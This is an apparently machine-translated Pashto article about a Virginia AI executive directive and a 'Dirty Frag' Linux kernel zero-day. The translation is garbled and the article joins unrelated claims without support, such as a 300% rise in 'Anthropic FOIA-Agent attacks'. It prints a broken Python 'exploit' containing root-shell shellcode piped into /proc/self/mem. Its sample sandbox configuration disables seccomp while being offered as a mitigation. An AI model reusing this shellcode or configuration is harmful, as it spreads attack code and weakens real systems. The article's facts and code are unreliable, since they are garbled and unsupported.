د ویرجینیا والي د AI اجرایوي لارښود 6 لاسلیک کړ: د AI امنیت لپاره نوی دوره او د خراب فریګ کرنل صفر-ورځ زیانمنتیا روان ګواښ

د ویرجینیا د والي سپینبرګر لخوا د AI اجرایوي لارښود 6 وروستی لاسلیک د AI پورې اړوند امنیتي اندیښنو سره د مبارزې لپاره د حکومت په هڅو کې یوه مهمه شیبه په ګوته کوي. دا لارښود، چې په دولت باندې د انتروپیک FOIA-Agent بریدونو ته اشاره کوي، د AI ټیکنالوژیو پورې اړوند احتمالي خطرونو او د تنظیمي عمل اړتیا په اړه مخ په زیاتیدونکي پوهاوی څرګندوي. د تخنیکي متخصصینو په توګه ، د دې لارښود اغیزې او د AI ټیکنالوژیو پراختیا او پلي کولو باندې د هغې احتمالي اغیزې درک کول خورا مهم دي.

د AI پورې اړوند امنیتي اندیښنو مخ په زیاتیدونکي ګواښ

د AI ټیکنالوژیو ډیریدل د امنیتي اندیښنو د زیاتوالي لامل شوي. د AI Herald's Report له مخې، د تیر کال په اوږدو کې د AI پورې اړوند امنیتي پیښو شمیر مخ په زیاتیدو دی، په دې پیښو کې ډیری یې د انتروپیک FOIA-اجنټ بریدونه شامل دي. دا بریدونه، چې د AI سیسټمونو کې زیانمننې ګټه پورته کوي، کولی شي ویجاړونکي پایلې ولري، په شمول د معلوماتو سرغړونې او سیسټم جوړونه.

د انتروپیک FOIA-Agent بریدونو کې خطرناک زیاتوالی، د تیر کال په پرتله د 300٪ زیاتوالي سره، د دې امنیتي اندیښنو د حل لپاره د عمل بیړنۍ اړتیا په ګوته کوي.

د خندا ډک دانه د صفر ورځې زیانمنتیا: یو لوی ګواښ

د ډرټي فریګ کرنل صفر ورځ زیانمنتیا د لینکس توزیع لپاره د پام وړ ګواښ رامینځته کوي ، چې بې ګټې کاروونکو ته اجازه ورکوي چې په ډیری لینکس توزیعونو کې ټاکونکي ریښې لاسرسی ترلاسه کړي. لکه څنګه چې په Hyunwoo Kim's disclosure کې ښودل شوي، د خرابې فریګ زیانمنتیا د ساده ګټې اخیستنې په کارولو سره کارول کیدی شي، دا د سیسټم مدیرانو او امنیتي مسلکیانو لپاره د اندیښنې وړ اندیښنې رامینځته کوي.

``پېتون

د خراب فریګ زیان مننې لپاره د کارونې کوډ مثال

os واردول

د ګټې اخیستنې تادیه تعریف کړئ

تادیه = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

نوې پروسه رامینځته کړئ او د تادیې اجرا کول

os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null" بڼه ``

💡 کلیدي بصیرت: د خراب فریګ کرنل صفر-ورځ زیانمنتیا د لینکس توزیع لپاره د پام وړ ګواښ رامینځته کوي ، او د سیسټم مدیران او امنیتي متخصصین باید د دوی سیسټمونو پیچ او تازه کولو لپاره سمدستي اقدام وکړي.

د نقطو نښلول: د AI اجرایوي لارښود 6 او د خندا وړ زیان

د AI اجراییوي لارښود 6 لاسلیک کول او د Dirty Frag kernel صفر-ورځ زیانمنتیا شتون سره نږدې اړیکې لري. د AI پورې اړوند امنیتي اندیښنو ته د رسیدو په اړه د لارښود تمرکز په ځانګړي ډول د خراب فریګ زیان مننې په شرایطو کې اړونده دی ، کوم چې د AI سیسټمونو سره د جوړجاړي لپاره کارول کیدی شي. د خراب فریګ زیانمننې په نښه کولو سره، د ټیکنالوژۍ متخصصین کولی شي د AI پورې اړوند امنیتي اندیښنو سره د خطرونو کمولو کې مرسته وکړي.

د خندا وړ فریګ زیان کمول

د خراب فریګ زیان کمولو لپاره، د سیسټم مدیران او امنیتي مسلکیان کولی شي څو ګامونه پورته کړي، په شمول:

• وروستي نسخه ته د لینکس توزیع پیچ کول او تازه کول
• د زیان منونکي سیسټمونو جلا کولو لپاره د کانټینر او مایکرو وی ایم سینڈ بکس پلي کول
• د استحصال نښو لپاره د سیسټم لاګونو او د شبکې ترافیک نظارت کول

``YML

د کانټینر سینڈ باکس لپاره د مثال ترتیب

نسخه: "3" خدمتونه: زیانمنونکي خدمتونه: انځور: زیان منونکی انځور کانټینر_نوم: زیان منونکی کانټینر بیا پیل کول: تل امنیت_ټاکنه: - seccomp: unconfined حجمونه: - ./vulnerable-data:/data ``

⚠️ د معمارۍ خطر: د خرابې فریګ زیان په کمولو کې پاتې راتلل کولی شي د پام وړ امنیتي خطرونو لامل شي ، پشمول د معلوماتو سرغړونې او سیسټم جوړجاړی. د سیسټم مدیران او امنیتي متخصصین باید د دې زیان په نښه کولو لپاره سمدستي اقدام وکړي.

د تخنیکي متخصصینو لپاره سپارښتنې

د AI پورې اړوند امنیتي اندیښنو او زیان منونکو پیچلي منظرو ته د تګ لپاره، د تخنیکي متخصصینو باید:

• د AI پورې اړوند وروستي امنیتي اندیښنو او زیانونو په اړه خبر اوسئ
• قوي امنیتي اقدامات پلي کړئ ، پشمول د پیچ کولو او تازه کولو سیسټمونه ، او د کانټینر او مایکرو وی ایم سینڈ باکس پلي کول
• د استحصال نښو لپاره د سیسټم لاګونه او د شبکې ترافیک وڅارئ

د دې ګامونو په اخیستلو سره، تخنیکي متخصصین کولی شي د AI سیسټمونو امنیت او بشپړتیا ډاډمن کولو کې مرسته وکړي او د AI پورې اړوند امنیتي اندیښنو سره تړلي خطرونه کم کړي.

سرچینې

• د AI هیرالډ راپور — د AI وروستي خبرونه او تازه معلومات
• د هیون وو کیم افشا کول — د خراب فریګ کرنل صفر-ورځ د زیان مننې افشا کول
• د AI اونۍ راپور — د AI غوره کیسې او ژوندۍ تازه معلومات
• د AI راپور نړۍ — د AI ورځني خبرونه او تازه معلومات
• Heads Up AI راپور — د AI خبرونه او تازه معلومات چې نن ورځ مهم دي